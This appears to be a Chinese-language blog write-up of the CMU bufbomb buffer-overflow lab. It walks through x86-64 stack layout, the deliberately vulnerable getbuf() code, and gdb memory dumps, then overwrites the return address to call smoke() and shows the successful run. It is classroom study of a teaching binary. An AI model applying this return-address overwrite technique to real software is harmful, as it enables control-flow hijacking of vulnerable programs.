須要在x86–64的機器上執行. 作業給了一個有buffer overflow問題的程式bomb跟其原始碼bomb.c,
依難度大概有下面幾個層級
1.函數返回時利用buffer overflow去呼叫另一個不帶參數函數
2.函數返回時利用buffer overflow去呼叫另一個帶參數函數
3.利用buffer overflow去修改全域變數
4.最難的是利用buffer overflow去執行一段自己插入的程式(機器碼),然後要正常返回呼叫函數。
預備知識:
首先,先看x86–64 架構有什麼registers ,這邊
%rip:instruction pointer,用來指到下一個instruction的位置.
%rbp:Frame pointer,用來指到目前stack frame的開頭.
%rsp:stack pointer,用來指到目前stack的top,也是尾巴。
sourece: Carnegie Mellon 1 Assembly and Bomb Lab 15-213: Introduction to Computer
x86的stack 是從高位往低位長的, 方向是rbp 往→ rsp ,caller呼叫函數時會把參數push(壓入)stack,接著呼叫函數,並把return的位址存在rbp+8的位置,接著把該含要用到的register值跟區域變數推入stack.
如下的程式Alpha呼叫Beta時,把引數23先推入stack,再呼叫Beta並先把返回位址推入stack.
題目一:函數返回時利用buffer overflow去呼叫另一個不帶參數函數
bomb程式有個函數test()會呼叫 getbuf() ,getbuf() 裡用到Gets()去取得使用者輸入,但沒做邊界檢查,當輸入長度超過buf[36]時會溢位,要利用這個漏洞,讓getbug返回時,不是回到test(),而是另一個函數smoke().
要做的事就是計算出buf到return address的間距,把smoke的位址填到return address蓋掉原本test的位址。
程式片段如下:
/* $begin boom-c */
void test()
{
unsigned long long val;
volatile unsigned long long local = 0xdeadbeef;
char* variable_length;
entry_check(3); /* Make sure entered this function properly */
val = getbuf();
if (val <= 40) {
variable_length = alloca(val);
}
entry_check(3);
/* Check for corrupted stack */
if (local != 0xdeadbeef) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%llx\n", val);
if (local != 0xdeadbeef) {
printf("Sabotaged!: the stack has been corrupted\n");
}
validate(3);
}
else {
printf("Dud: getbuf returned 0x%llx\n", val);
}
}
unsigned long long getbuf()
{
char buf[36];
volatile char* variable_length;
int i;
unsigned long long val = (unsigned long long)Gets(buf);
variable_length = alloca((val % 40) < 36 ? 36 : val % 40);
for(i = 0; i < 36; i++)
{
variable_length[i] = buf[i];
}
return val % 40;
}
/* $begin smoke-c */
void smoke()
{
entry_check(0); /* Make sure entered this function properly */
printf("Smoke!: You called smoke()\n");
validate(0);
exit(0);
}
先用objdump -d bufbomb去反組譯查函數對定的位址,也可以用-t 去看就好。
00000000004010c0 :
4010c0: 48 83 ec 08 sub $0x8,%rsp
4010c4: bf 45 13 40 00 mov $0x401345,%edi
4010c9: c7 05 dd 11 20 00 00 movl $0x0,0x2011dd(%rip) # 6022b0
0000000000400ed0 :
400ed0: 55 push %rbp
400ed1: b9 ef be ad de mov $0xdeadbeef,%ecx
400ed6: 31 c0 xor %eax,%eax
400ed8: 48 89 e5 mov %rsp,%rbp
400edb: 53 push %rbx
400edc: 48 83 ec 18 sub $0x18,%rsp
400ee0: 48 89 4d e8 mov %rcx,-0x18(%rbp)
400ee4: c7 05 c2 13 20 00 03 movl $0x3,0x2013c2(%rip) # 6022b0
400eeb: 00 00 00
400eee: e8 ad fe ff ff callq 400da0
400ef3: 48 83 f8 28 cmp $0x28,%rax
0000000000400da0 :
400da0: 55 push %rbp
400da1: 48 89 e5 mov %rsp,%rbp
400da4: 48 83 ec 30 sub $0x30,%rsp
400da8: 48 8d 7d d0 lea -0x30(%rbp),%rdi
400dac: e8 ff fe ff ff callq 400cb0
(其實從lea -0x30(%rbp),%rdi 就可以看出buf到rbp的間距是48bytes了。
但我想利用gdb 去進一步看詳情
gdb bufbomb
GNU gdb (GDB) Fedora (7.4.50.20120120-54.fc17)
Copyright (C) 2012 Free Software Foundation, Inc.
This GDB was configured as "x86_64-redhat-linux-gnu".
For bug reporting instructions, please see:
Reading symbols from /home/auser/course-materials/lab3/bufbomb...done.
(gdb) b getbuf //設定斷點在getbuf
Breakpoint 1 at 0x400da0: file bufbomb.c, line 132.
(gdb) r ./bufbomb -u 8257567 < exploit.bytes //這個exploit.bytes先輸入一串1139 hex
Breakpoint 1, getbuf () at bufbomb.c:132
132 {
Missing separate debuginfos, use: debuginfo-install glibc-2.15-59.fc17.x86_64
(gdb) disas //到斷點時停下來 看一下我看完呼叫到Gets後情況
Dump of assembler code for function getbuf:
=> 0x0000000000400da0 <+0>: push %rbp
0x0000000000400da1 <+1>: mov %rsp,%rbp
0x0000000000400da4 <+4>: sub $0x30,%rsp
0x0000000000400da8 <+8>: lea -0x30(%rbp),%rdi
0x0000000000400dac <+12>: callq 0x400cb0
0x0000000000400db1 <+17>: movabs $0xcccccccccccccccd,%rdx
=> (gdb) b *getbuf+17 重設斷點到getbuf+17處
continue
Continuing.
Breakpoint 2, getbuf () at bufbomb.c:137
137 variable_length = alloca((val % 40) < 36 ? 36 : val % 40);
(gdb) info reg // dump reg的情況這邊注意 rbp在0x7fffffffb3a0
rax 0x7fffffffb370 140737488335728
rbx 0x3c0d7c17 1007516695
rcx 0x25 37
rdx 0x3677fb2af0 233941183216
rsi 0xa 10
rdi 0x3677fb1340 233941177152
rbp 0x7fffffffb3a0 0x7fffffffb3a0
最後這裡就很明顯了0x7fffffffb370 是buf的起始位置,我開始填入39 11這些數字, 0x7fffffffb3a0是rbp,而這0x00400ef3 是return address ,現在只要從0x7fffffffb370 把buf填爆,把0x00400ef3 改成0x04010c0,這樣程式就會呼叫到smoke了。
(gdb) x/50x 0x7fffffffb300
0x7fffffffb300: 0x77fb2ae0 0x00000036 0x77fb1340 0x00000036
0x7fffffffb310: 0xffffb370 0x00007fff 0x77c7860e 0x00000036
0x7fffffffb320: 0x77fb1340 0x00000036 0x77c73657 0x00000036
0x7fffffffb330: 0x3c0d7c17 0x00000000 0x00400d50 0x00000000
0x7fffffffb340: 0x3c0d7c17 0x00000000 0xffffb3a0 0x00007fff
0x7fffffffb350: 0x00607f80 0x00000000 0xffffe440 0x00007fff
0x7fffffffb360: 0x00000000 0x00000000 0x00400db1 0x00000000
0x7fffffffb370: 0x39393939 0x11113939 0x11111111 0x00000011
0x7fffffffb380: 0x00607f80 0x00000000 0x778148e5 0x00000036
0x7fffffffb390: 0x00002f20 0x00000000 0x77cba477 0x00000036
0x7fffffffb3a0: 0xffffb3d0 0x00007fff 0x00400ef3 0x00000000
$ ./sendstring < smoke.txt > exploit.bytes
$ ./bufbomb -u 8257567 < exploit.bytes
下面是最後的結果。
-bash-4.2$ ./bufbomb -u 8257567 < exploit.byte
Username: 8257567
Type string: Smoke!: You called smoke()
Reference:
留言